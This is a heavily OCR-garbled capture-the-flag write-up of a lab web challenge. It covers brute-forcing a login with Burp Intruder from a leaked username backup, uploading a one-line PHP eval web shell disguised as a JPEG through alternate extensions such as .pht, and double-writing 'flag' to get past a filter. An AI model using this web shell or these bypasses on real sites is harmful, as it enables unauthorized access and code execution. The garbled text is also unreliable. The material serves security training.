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¥ <head> == 58
<meta charset="utf-8">

ctitlesZ@EBF/ritles
</head>
¥ <body >
¥ {center:
<nd> TR MRS ERRHTE R he
¥ <form action method="POST">
<input type="text” name="username” placeholder="F§F5g">
<or:
<0or:
<input type="password” name="password” placeholder="E2§5":
<or:
<or:

<input type="submit" name="submit” value="TfFE":

Memc

[ <l-- FIEEEpfruser.phoE —- ¢
<l-- AAEHAZR)EEARAE-LE AR H80: zhangweilseg - -

(form

</center:
<0r:
L0r:
{center></center:
</ body >
</html:
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[ uzer. php. bakEd

1 zhangwei
wangwei
wangfang
liwei
lina
zhangmin
lijing
wangjing
liuwei

10 wangxiuving
11 zhangli

12 lixiuying
13 wangli

14 zhangjing
15 zhangxriuying
16 ligiang
17 wangmin
18 limin

19 wanglei
20 liuvang
21 wWangyan
22 wangyong
23 lijun

24 zhangyong
RS lijie

26 zhangjie
27 zhanglei
28 wanggiang
29 lijuan

30 wangjun
31 zhangyan
32 zhangtao
3k wangtao
34 liyan

35 wangchao
36 liming

37 liyong

38 wangjuan
22 liujie

40 liumin

41 lixia

42 1ili

T3 zhangjun
44 wangjie
45 zhanggiang
46 wangxiulan
47 wanggang
48 wangpling
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[Targat M Payloads Toptions ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload peositions - see help

for full details.

Attacktype: | Battering ram

DoD~NOWUEWN

T

]

POST slogin.php HTTP/1.1

Host: eci-Zzeinawvsdkxkh8righa.cloudeci.ichungiu.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/himl, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8, zh-TW;q=0.7, zh-HK; g=0.5, en-US; q=0.3,en; q=0. 2
Accept-Encoding: gzip, deflate

Referer: http: //eci-2zeinawvsdkxkharagha. cloudeci . ichungiu. com/Lagin. php
Content-Type: application/x-www-form-urlencoded

Content-Langth: 47

Connection: close

Cookie: PHPSESSID=s1011t26g71175165cjmmo8niS; _ jsluid_h=55c3ddfc13ca7aco415bec67c1balzab
Upgrade-Insecure-Requests: 1

username=§zhangwel§Spassword=§zhangwe1§ 19959&submi t=%E7%0%BERES%BIRAG5

AN

R )G Flload $ A\ B Fijuser.php.bak 78, FFIRBEH

[Targat Tpasitinns W Options ]

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Posit
payload set, and each payload type can be customnized in different ways.

Payload set: [1 H Payload count: 357

Payload type: [Simple list }-l; Request count: 357

(@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| Paste I.zhangwei [&]

wangwei
Load ... wangfang
e >
7]
Enter a new ey
Add fram list ... [Pro version only] v

@ Payload Processing

¥ou can define rules to perform various procaessing tasks on each payload before it is used.
| Add | Enabled |Rule
‘ Edit I

Remowve >
| uUp I
‘ Down I

E

Start attack

Add§

Clear s
Auto §
Refrash

BARBEREA1999F AR, BEERIGRTBRIMH 4L Nzhangwei, BHHARY, , , FRRBEET, REEETRE=
2%, FCluster BombiZE M=

SHUIA P4, ERSATFRIT, SH2NFELHIEH I EFcopyZ 1, SHBNHENEF L TR AnumbersiE
F31900-2000, *#K N1,

L—="" 1 —— - it |

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends onthe a
payload set, and each payload type can be customized in different ways.

Payloadset: |1 ||l] Payload count: 358




Payload type: | Simple list ﬂ Request count: unknown

(@ Payload Options [Simple list]
This payload type lets you configure a simple list of strings that are used as payloads.

l Paste i.zhangwei .

wangwei
ad .. wangfang

liwei »>
lina

I Clear I %Iflangmin
lijirg -

I' Add I Enter a new item

Add fram list ... [Pro version only] v

@ Payload Sets

You can define one or more payload sets. The number of payload sets depend
payload set, and each payload type can be customized in different ways.

Payload set: [2 H Payload count: unknown

Payload type: | Copy other payload ﬂ Request count: unknown

@ Payload Options [Copy other payload]
This payload type copies the value of the current payload at ancther payload ¢

Copy fram position] |1

@ Payload Sets

You can define one or more payload sets, The number of payload sets depends onthe attack type defi
payload set, and each payload type can be customnized in different ways.

Payload set: [3 H
Payload type: | Numbers v

Payload count: 11

Request count: unknown

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format,

Number rangea

AR er 2

Type: ® sequential O Random
Frem: 1990

Ta: 2000

Step: 1

How marny:

Mumber format

Base: ® Decimal () Hex

Min integer digits:

Max integer digits:
Min fraction digits:
Max fraction digits:
Examples

1.1
987654321 1234568

il



Intruder attack 18

Attack Sawve Columns F
Results TTargat ] Positions Tpaylnads T Options ]

| Filter: Showing all items |®
Request Payloadl Payloadz Payload3 Status | Error Timeout | Length ¥ | Comm !
311 Idiuyun lbduyun 1550 200 O O 1044 &
0 200 =B O 1008 j) 1
1 zhangwei zhangwei 1990 200 | 0 1009

2 wangwei wangwei 1990 200 o [ 1009

3 wangfang wangfang 1990 200 O U 1009

4 liwei lwei 1990 200 ] L1 1009

S lina lina 1590 200 ] Ll 1009

6 zhangrmin zhangmin 1990 200 | | 1009

7 lijing lijing 1990 200 )| O 1009

8 wangjing wangjing 1990 200 )| ] 1009

a liuwai Iurwen 1990 200 ol J 1008

10 wangxiuying wangxiuying 1990 200 B J 1008

11 zhangli zhangli 1990 200 o o 1009

12 lixiuying lixiuying 1990 200 o o 1009

13 wangli wangli 1990 200 J L 1009

14 zhangjing zhangijing 1990 200 = L 1009

15 zhangxiuying zhangxiuying 1990 200 0 U 1009

16 ligiang ligiang 1990 200 | | 1009

17 wangmin wangmin 1990 200 )| O 1009

18 lirmin limin 1950 200 | | 1009

19 wanglei wanglei 1990 200 ol J 1008

20 liuyang liuyang 1990 200 B J 1008

21 wangyan wangyan 1990 200 o o 1009

22 wangyong wangyong 1990 200 ] | 1009

23 lijur lijur 1990 200 L] [ 1009 -
zi‘_ rhanavonn rhannvann 1990 200 | [ 1 1005 v, |
{anunn T Response ]

[Raw | Params | Headers | Hex |

323 [———————

FAF4: lixiuyun

#F1: 1lixiuyun1990

T, BEFEY

<html><head>
<meta charset="utf-8">
<title>A AHD</title>

</head>

<body>

<center>

<l-- FHEREZELE -->

<!-- <form action="" method="POST" enctype="multipart/form-data">

<input type="file" name="file" />

<input type="submit" name="submit" value="_Lf£" />
</form> -->

</center>

</body></html>

EEM2M TR, RIS LI
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@ O=zZsEs DeEss DEEE (Iassss Qe At NES B EF f TESEFE @ HackBar @ Max HackBa

QiEEH + A TitEes thov s 4+ B [
<!DOCTYPE html> =m0 FE -
<htmi 1
L o= i
» <body
R
<! - - FEREEEEE-->
b <form action="" method="POST" enctype="multipart/form-datas = !
</ form= —
</centers
=fbodys
<fhtmla=

HE Efe—AiEAR S RIK

R g, jpg, .png, .gif, . bmpJa SR KIS

B4 A2 pg, —HITERNEFIT

<?php @eval($_POST[cmd]);?>

burpsuite N4 Aphp, AL AREL Blphp, TREEM Zpht, RERAXHFNTERE. . . B LAENEERA
ik

php5l4: php2, php3, php4, php5, phps, pht, phtm, phtml

EAEEIEE 1 jpg K IH R E SR AR EER, KIAIE, 2491 pg.pht



Reguest Response

| Raw | Params | Headers ] Hex [ Raw ] Headers [ Hex ] Render ]

L POST /HTTP/L1.1 3 1 HTTP/1.1 200 0K

2 Host: eci-2zeftotBzexyaqgughdg. cloudeci . ichungiu.com ] 2 Date: Sun, 05Jul 2020 14:51: 25 GMT
2 User-Agent: MozillasS.0 (X11; Linux xB6_64; rv:68.0) Gecko/20100101 3 Content-Type: text/html;charset=utf-g
Firefox/62.0 4 Content-Length: 372
4 Accept: text/html,application/xhtml+xml, application/xml;g=0.9,%/%*;q=0.8 S Connection: close
S Accept-Language: 6 Vary: Accept-Encading
zh-CN, zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;q=0.3,en;gq=0.2 7 Expires: Thu, 19Nov 1981 08:52: 00 GMT
5 Accept-Encoding: gzip, deflate 2 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-chack:
7 Referer: http://eci-2zeftoOtézcxyaqguaghdg.cloudeci .ichungiu. comy/ S Pragma: no-cache
= Content-Type: multipart/form-data; 10 Vary: Accept-Encoding
boundary=-----ceeceriannniaaaaa e SB259418651871484316156549200 11 X-Via-JSL: 326basd, -
o Content-Length: 29913 12 X-cache: bypass
10 Connection: close 1
11 Cosckle: PHPSESSID=1lop774spshadesldpmizshs)tl; _ jsluid_h= 14 <! DOCTYPE html=
bSc5156987c53679c219754daecdbbe3 15 <html=
12 Upgrade-Insecure-Requests: 1 16  <heads>
13 7 <metacharset="utf-&8* /=
I e S5B8294186518714843165156949200 12 <title=
15 Content-Disposition: form-data; name="file"; Fllename= Al
15 Content-Type: image/jpeqg </title=
17 3 =/head=>
18 yByaJFIFyOC 2 <body=>
19 $.' *,#(7),01444 9=82<. 342y(C =centers
2112 . s 227 227 s 222 222 22 A 6" A ) <|-- FEREAREEN -->
20 yAu}!1aQa" g2 #BxARRGS3br <!-- =formaction="" method="POST" enctype="multipart/form-data"=
21 %&' () *456789: COEFGHI ISTUWWXY Zedefghl jstuvwayzdfn¥! 5 ©223 g, 1oAdfRlECEE 24 <input type="file® name="file" />
EOOOO0=@a2555eceeR00000+aU0YA <input type="submit® name="submit® value=" " /=

</forms=--=
</center>

22 yhuw! 1AQagq" 2Bi+A #3R3bril
23 $45%06" () ¥S6789: CDEFGHT ISTUVWXY Zedef ghl jstuvwxyzi £x¥ | § @233 pq. 3 eAEALST

CEEEOOO0Ox@UUas55ace8806080+a00YUT+ (¢ </body=>
24 (¢ =/html>
= (¢
26 (¢ 11 =ahref views/a>
27 (¢
28 (¢
29 (¢
20 (¢
31 (¢ b =
22 (¢ v -l i

B [E T —Aview.php T, ELEE I

file?

RiiZRE—MileSH, Mipayload

http://eci-2zeftOt6zcxyaqgughdq.cloudeci.ichunqiu.com/view.php?file=flag

= c Q i chun ;j|i u.Com

Kali Linux Kali Train ali : = KaliD Kali Forums MNetHunter |[| Offensiy

filter "flag"

R uE R flaghit, i, filagagsifsseid

http://eci-2zeftoOt6zcxyaqgughdq.cloudeci.ichunqiu.com/view.php?file=flflagag

BIh 18 2lflag

.z ¢ @ : chungiu.com

Kali Linux Kali Traini Kali - Kali Forums NetHunter || Offe]

<?php

echo 'flag is here";
"flag{b3T2a5b8-1b5d-4d66-81cO-7150b63fde39}-";
7>
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